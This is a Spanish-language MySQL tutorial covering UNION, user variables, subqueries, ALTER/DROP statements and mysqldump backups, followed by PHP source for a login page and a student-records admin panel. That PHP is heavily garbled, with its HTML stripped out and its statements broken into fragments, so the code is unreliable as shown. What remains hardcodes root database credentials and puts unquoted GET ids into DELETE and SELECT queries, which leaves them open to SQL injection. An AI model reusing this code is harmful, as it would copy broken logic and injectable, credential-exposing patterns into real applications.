Bueno la diferencia entre estas dos es solo que union selecciona valores distintos, con esto me refiero a que si tenemos valores repetidos en las columnas no los selecciona (es parecido a select distinct que vimos en el minitutorial 2)...
Pero en caso que usemos union all entonces seleccionaria todos los valores incluyendo si existen repetidos....
Veamos un ejemplo de cada uno:
Como ves tenemos 2 tablas personas y pedidos y las vamos a unir....
seleccionamos la columna nombre y la unimos con la columna clientes....
nombre y clientes son del mismo tipo varchar... y como ves seleccionamos una columna en ambos select....
entonces nos devuelve las columnas unidas...
Si se fijan bien en la columna cliente de la tabla pedidos tenemos registros repetidos y cuando usamos union no los muestra todos :/, pero para ello podemos usar en este caso union all....
Variables de usuario
Las variables son iguales que en todos los lenguajes de programacion, solo que al establecerlas lo hacemos de diferente manera, en este caso puse variables de usuario por que tambien hay variables de sistema como en cualquier otro lenguaje.....
Una variable como su nombre lo dice Cambia cuando lo aplicas en matematicas una variable es un valor desconocido pero en este caso puede cambiar en el transcurso que vayas programando....
Su sintaxis es:
SET @nombre_variable = expresion
SELECT @nombre_variable := expresion
Veamos unos ejemplos:
Lo que hacemos en la consulta anterior es establecer la variable con el nombre de version y luego seleccionamos dicha variable que contiene la version de mysql....
SET @version=version();
SELECT @version;
Para usar := la asignacion es mas recomendable que usar = por que puede confundir con los operadores de comparacion....
Aqui como estamos asignando y no estableciendo la variable necesitamos usar select sino causariamos un error en la base de datos...
Select @num_version:=(Select+version());
Como ves aqui he usado subconsultas que veremos mas adelante... pero igual podemos usarla como en el ejemplo anterior...
select @num_version:=version();
De las dos maneras funciona en una establecemos una variable y en la otra asignamos un valor entonces podriamos modificar la variable anterior asignandole otro valor :P
Comentarios
Los comentarios sirven para cuando estas "codeando" puedas dejar para que sirve esa parte de codigo, para cuando otros lo vean o cuando tu lo retomes entiendas que era esa parte del codigo....
En mysql existen varias formas de comentar:
/* este es un comentario multilinea */
-- comentario de una linea
# comentario de una linea
Como ves no aparece nada por que no se cuenta como algo que ejecute una accion, solo son comentarios para "comentar" codigo... xD
Subconsultas
Las subconsultas es cuando agregas parentesis en alguna declaracion esto puede ser para que sea mas "entendible" para cualquiera que lea el codigo... un ejemplo de esto:
Como ves aqui seleccionamos todas las columnas desde la tabla pedidos donde precio_pedido=100 o cliente='Nilsen' (va entre comillas simples o dobles por que es un tipo varchar....) agregamos subconsultas para que sea mas entendible al leerlo....
Una forma de verlo mas claramente seria de esta manera:
Este seria como un tipo de join limitado (join + limit LOL XD)
Com ves en la primera consulta devuelve "Subquery returns more than 1 row" esto quiere decir "Subconsulta devuelve mas que 1 fila", es decir, estamos seleccionando mas de una fila en una clausula where lo que no es correcto a como lo dice la sintaxis de where....
es por eso que luego usamos la subconsulta seleccionando un campo de la columna p_id siendo asi como un minijoin xD por que estamos seleccionando todo esto de manera que vean la diferencia de una subconsulta, aunque en este caso no seria necesario, por que es un consulta demasiado larga.....
Modificar columnas de una tabla
En este apartado veremos como modificar las tablas para agregar una nueva columna, modificar una columna, eliminar una columna :D
Veremos la sintaxis que usaremos:
ALTER TABLE nombre_tabla CHANGE nombre_viejo nombre_nuevo tipo_de_dato
ALTER TABLE nombre_tabla MODIFY nombre_columna tipo_de_dato_nuevo not null primary key,etc...
ALTER TABLE nombre_tabla ADD nombre_columna tipo_de_dato
ALTER TABLE nombre_tabla DROP COLUMN nombre_columna
Entonces solo hay que guiarnos de la sintaxis, usaremos la misma database con la que hemos estado trabajando desde el principio de los minitutos :D
En la imagen de arriba mostramos lo siguiente, tenemos 2 tablas, personas y pedidos, describimos la tabla personas para que nos muestre su columnas e informacion, despues hacemos el cambio de nombre que seria lo mas interesante y esta parte, alteramos la tabla personas cambiando el nombre donde la columna es p_id la cambiamos a id y el tipo de datos es int, cuando volvemos a describir personas podemos ver que hemos cambiado el nombre de p_id a id...
alter table personas change p_id id int;
En este caso, pues no hay mucho que explicar solo hayq ue saber la sintaxis y la logica tu la traes por defecto xD, lo que hace es modificar el tipo de datos de apellido a char enves de varchar, aunque es un ejemplo algo "estupido", puede lograrse entender el concepto :P
alter table personas modify apellido char(30);
En este caso lo que hacemos es agregar una nueva columna llamada edad, alteramos la tabla personas agregando edad como valor int sin que este nulo o vacio...
alter table personas add edad int not null;
cuando describimos la tabla podemos ver que se ha agregado la columna edad.
En este caso eliminamos una columna, alteramos la tabla personas eliminando la columna edad....
luego cuando volvemos a describir la columna edad o se encuentra por que simplemente la hemos eliminado
alter table personas drop column edad;
ya que estamos en ello una cosa que me gustaria comentar es que en el minitutorial numero 1, mostramos como podiamos eliminar todos los datos de una tabla (delete from nombre_tabla), queria comentarles que hay una manera de realizar lo mismo pero con otra consulta:
TRUNCATE TABLE nombre_tabla
Como vemos realizamos lo mismo que en el primer tutorial solo que con otra consulta :P
Modificando tablas
Con esto hemos visto como hacer para modificar todas las columnas de una tabla, pero que pasa si queremos cambiarle el nombre a una tabla? o eliminarla?
para ello solo hay que saber la sintaxis del lenguaje :P
Sintaxis...
renombrar tabla:
RENAME TABLE nombre_tabla_viejo TO nombre_tabla_nuevo
eliminar tabla:
DROP TABLE nombre_tabla
bueno veamos unos ejemplo de como usarlos.....
Como puedes ver en el ejemplo de arriba renombramos una tabla (pedidos) a orders....
rename table pedidos to orders;
la podemos renombrar como queramos solo sigue la sintaxis de arriba :P
En el ejemplo vemos como eliminamos por completo la tabla orders... mostramos las tablas y no se encuentra la tabla orders por que la hemos eliminado :D
drop table orders;
Eliminar la base de datos completa
Para eliminar una base de datos, usamos la siguiente sintaxis:
DROP DATABASE nombre_db;
Veamos un ejemplo:
Para verificar esto puedes ir al minitutorial numero 1... :D
Realizando una copia de seguridad
Para realizar copias de seguridad utilizamos un archivo binario que lo encontramos dentro de la carpeta bin de mysql en este caso uso xampp :P....
Como puedes observar ese archivo pertenece al usuario root por lo que tendremos que usar el comando sudo... entonces veamos los "tipos" de copias de seguridad que puedes realizar (Si le podemos llamar asi), puede que no este listando todos pero pueden comentar abajo si me hace falta alguno y lo agrego al minituto :D
Copia de seguridad de todas las bases de datos
como puedes ver el subtitulo en este caso hariamos una copia de seguridad de TODAS las DB ....
mysqldump --user=usuario --password=password -A > "/ruta/todas_dbs.sql"
en este caso -A significa all databases (todas las bases de datos) tambien lo podemos usar de la siguiente forma: --all-databases, si quieren mas informacion acerca de como usar mysqldump solo hay que usar la ayuda mysqldump --help
Veamos un ejemplo utilizando la opcion de arriba de hacer una copia de seguridad de todas las bases de datos:
Pues como vistes anterior hicimos una copia de segurida de todas las bases de datos, en este caso sera 1 base de datos o varias (las que tu selecciones especificamente)....
mysqldump --user=usuario --password=password --databases DB_nombre1 DB_nombre2 DB_nombreN > "/ruta/varias_dbs.sql"
aplicando la sintaxis, veamos el ejemplo:
Copia de seguridad de 1 o varias tablas
mysqldump --user=usuario --password=password --databases DB_nombre --tables Tabla_nombre1 Tabla_nombre2 Tabla_nombreN > "/ruta/varias_tablas.sql"
Restaurar datos
Esto lo haremos conectando a mysql....
mysql --verbose -u usuario -p contraseña nombre_db < "/ruta/archivo.sql"
tenemos los siguientes archivos creados:
solo es cuestion de usarlos....
Con el comando de arriba recupere el archivo que contenia todas las bases de datos como puedes ver abarcaria mucho asi que no puedo dejarles una "imagen completa"
Conclusion
Bueno la mayoria de lo que vimos en este tutorial es aplicable por ejemplo en el minitutorial anterior, podemos hacer por ejemplo, con limit (limitar el numero de registros que se muestran con un campo de entrada), con join juntar dos tablas donde el id sea igual(en el caso anterior no teniamos algo asi....),etc.... pero lo que mas me interesaba que aprendieran era como modificar las tablas, como modificar las columnas, como eliminar las tablas, como eliminar la base de datos, en este caso no utilizaremos un script parecido, ¿Por que? simplemente por que es peligroso utilizar esos comandos en un script ademas de que tenemos tener privilegios no es bueno hacerlo y no es muy comun hacerlo desde front-end sino desde el back-end como lo acabamos de hacer :D, en este caso utilizaremos algo para ver como juntar todo lo aprendido, o mejor dicho todo lo creado hasta ahora, haremos un sistema de login.... y si el usuario es correcto entonces que nos muestre la aplicacion del 2 minitutorial, si la contraseña es incorrecta que nos muestre un mensaje de error con el login de nuevo, y abajo en el footer que nos muestre sino estas registrado puedes hacerlo :D
Codigo fuente sistema de login:
'; } }else{ echo 'Login 0){ $intento_logeo=1; //se guarda una variable donde el intento de logeo es igual a verdadero (se proporcionaron correctamente los datos) $_SESSION['logged']=TRUE; //creamos la sesion logged que es igual a verdadero $_SESSION['usuario']=$usuario; //creamos la sesion usuario que contiene el nombre de usuario header("Location: adm_datos.php"); //redirigimos a la pagina de administracion de datos }else{ $intento_logeo=0; //sino es cierto el intento de logeo es falso (no se proporcionaron los datos correctamente) echo 'Usuario o password incorrectos'; echo 'Iniciar sesion
Iniciar sesion
'; } } ?>El analizarlo es trabajo de ustedes :P, aunque no he explicado que count() sirve para contar pero de todas maneras, para que lo comprendan mejor esto les dejare una imagen:
Como has visto hemos modificado el script adm_datos.php por lo que colgare los dos archivos:
'; } }else{ echo 'Administrador de datos Administrador de datosMostrar Registros| Buscar Registros| Crear Nuevo Registro| Eliminar Un Registro| Modificar Un Registro| Salir"; } mysqli_select_db($con,"alumnos"); echo ''; echo ' '; echo 'Se listan todos los alumnos que asistieron a clases incluyendo su calificacion.
'; echo ''; echo '
'; echo ''; $registros = mysqli_query($con,"SELECT * FROM alumnos"); while($fila = mysqli_fetch_array($registros)){ echo ' Identificador Alumno Calificaciones Asistencias '; echo ' '; } echo ''.$fila['id'].' '; echo ''.$fila['alumno'].' '; echo ''.$fila['calificaciones'].' '; echo ''.$fila['asistencias'].' '; echo '
'; mysqli_close($con); } /* ###### Fin de seleccionar los registros y mostrarlos ####### */ /* #### Realiza una busqueda y muestra los resultados #### */ function buscar(){ if(isset($_POST['btn_buscar'])){ $busqueda=htmlentities($_POST['buscar'],ENT_QUOTES); $con=mysqli_connect("localhost","root","popope123"); if(mysqli_connect_errno()){ echo "Fallo al conectar con MySQL: ".mysqli_connect_error()."
"; } mysqli_select_db($con,"alumnos"); $busqueda=mysqli_real_escape_string($con,$busqueda); $seleccionar_busqueda=mysqli_query($con,"SELECT * FROM alumnos WHERE alumno like '%$busqueda%' or calificaciones like '%$busqueda%' or asistencias like '%$busqueda%' "); $coincidencias=mysqli_num_rows($seleccionar_busqueda); if($coincidencias>0){ echo ''; echo ' '; mysqli_close($con); }else{ echo "
'; echo ''; echo '
'; echo ''; while($fila2=mysqli_fetch_assoc($seleccionar_busqueda)){ echo ' Identificador Alumno Calificaciones Asistencias '; echo ' '; } echo ''.$fila2['id'].' '; echo ''.$fila2['alumno'].' '; echo ''.$fila2['calificaciones'].' '; echo ''.$fila2['asistencias'].' '; echo 'No se encontraron resultados
"; echo 'Puedes realizar una busqueda de un registro por medio de la columna nombre,calificacion o asistencia...
Puedes realizar una busqueda de un registro por medio de la columna nombre,calificacion o asistencia...
'; } /* #### Fin Realiza una busqueda y muestra los resultados #### */ } /* #### Inserta nuevos registros #### */ function insertar(){ if (isset($_POST['enviar'])){ $alumno=htmlentities($_POST['alumno'],ENT_QUOTES); $calificaciones=htmlentities($_POST['calificaciones'],ENT_QUOTES); $asistencias=htmlentities($_POST['asistencias'],ENT_QUOTES); $con=mysqli_connect("localhost","root","popope123"); if(mysqli_connect_errno()){ echo "Fallo al conectar con MySQL: ".mysqli_connect_error()."
"; } mysqli_select_db($con,"alumnos"); $rango= array("options"=>array("min_range"=>5,"max_range"=>10)); $rango2= array("options"=>array("min_range"=>0,"max_range"=>20)); if(!empty($alumno) && !empty($calificaciones) && !empty($asistencias) && filter_var($calificaciones,FILTER_VALIDATE_INT,$rango) && filter_var($asistencias,FILTER_VALIDATE_INT,$rango2) ){ $alumno=mysqli_real_escape_string($con,$alumno); $calificaciones=mysqli_real_escape_string($con,$calificaciones); $asistencias=mysqli_real_escape_string($con,$asistencias); $insert="INSERT INTO alumnos (alumno,calificaciones,asistencias) values ('$alumno','$calificaciones','$asistencias')"; if(mysqli_query($con,$insert)){ echo "
Los datos fueron insertados correctamente
"; echo 'Insertar un nuevo registro
Ocurrio un error al insertar los datos: ".mysqli_error($con) ."
"; } }else{ echo "Los datos no se llenaron correctamente
"; echo 'Insertar un nuevo registro
Insertar un nuevo registro
Eliminar Registros
'; $con=mysqli_connect("localhost","root","popope123"); if(mysqli_connect_errno()){ echo "Fallo al conectar con MySQL: ".mysqli_connect_error().""; } mysqli_select_db($con,"alumnos"); $server=htmlentities($_SERVER['PHP_SELF'],ENT_QUOTES); if(isset($_GET['id_eliminar'])){ $id_eliminar=htmlentities($_GET['id_eliminar'],ENT_QUOTES); $id_eliminar=mysqli_real_escape_string($con,$id_eliminar); $borrar="DELETE from alumnos WHERE id=$id_eliminar"; if(mysqli_query($con,$borrar)){ echo "
Registro eliminado correctamente
"; }else{ echo "Ocurrio un error al eliminar el registro:
" .mysqli_error($con).""; } } echo '
Se listan todos los alumnos que asistieron a clases incluyendo su calificacion.Dar clic en eliminar.
'; echo '| Identificador | Alumno | Calificaciones | Asistencias | Eliminar |
| '.$fila['id'].' | '; echo ''.$fila['alumno'].' | '; echo ''.$fila['calificaciones'].' | '; echo ''.$fila['asistencias'].' | '; echo 'Eliminar | '; echo '
'; mysqli_close($con); } /* #### Fin Eliminar registros #### */ /* #### Modificar un registro #### */ function modificar(){ echo '
Modificar Registros
'; $con=mysqli_connect("localhost","root","popope123"); if(mysqli_connect_errno()){ echo "Fallo al conectar con MySQL: ".mysqli_connect_error().""; } mysqli_select_db($con,"alumnos"); $server=htmlentities($_SERVER['PHP_SELF'],ENT_QUOTES); if(isset($_GET['id_modificar'])){ $id_modificar=htmlentities($_GET['id_modificar'],ENT_QUOTES); $id_modificar=mysqli_real_escape_string($con,$id_modificar); $registros = mysqli_query($con,"SELECT * FROM alumnos WHERE id=$id_modificar"); $fila = mysqli_fetch_array($registros); echo '
Los datos fueron insertados correctamente
"; }else{ echo "Ocurrio un error al modificar los datos: ".mysqli_error($con) ."
"; } } } } echo 'Se listan todos los alumnos que asistieron a clases incluyendo su calificacion.Dar clic en modificar.
'; echo '| Identificador | Alumno | Calificaciones | Asistencias | Modificar |
| '.$fila['id'].' | '; echo ''.$fila['alumno'].' | '; echo ''.$fila['calificaciones'].' | '; echo ''.$fila['asistencias'].' | '; echo 'Modificar | '; echo '
'; mysqli_close($con); } /* #### Fin Modificar un registro #### */ /* #### Salir de la sesion #### */ function salir(){ unset($_SESSION['logged']); unset($_SESSION['usuario']); session_destroy(); header("Location: inicio_sesion.php"); } /* #### Fin Salir de la sesion #### */ /* #### Sistema de modulacion #### */ $redireccion=htmlentities($_SERVER['PHP_SELF'],ENT_QUOTES); if(isset($_GET['seccion'])){ $seccion=htmlentities($_GET['seccion'],ENT_QUOTES); switch ($seccion) { case 'mostrar': seleccionar(); break; case 'buscar': buscar(); break; case 'insertar': insertar(); break; case 'eliminar': eliminar(); break; case 'actualizar': modificar(); break; case 'salir': salir(); break; default: echo "No se encontro la seccion"; break; } }else{ echo '
Administrador para los datos de la base de datos alumnos.
'; } if(isset($_GET['id_eliminar'])){ $id_eliminar=htmlentities($_GET['id_eliminar'],ENT_QUOTES); eliminar(); } if(isset($_GET['id_modificar'])){ $id_modificar=htmlentities($_GET['id_modificar'],ENT_QUOTES); modificar(); } /* #### Fin Del Sistema de modulacion #### */ ?>Veamos el funcionamiento de todo lo que hemos visto hasta ahora :D
Los espero en el proximo minituto :D















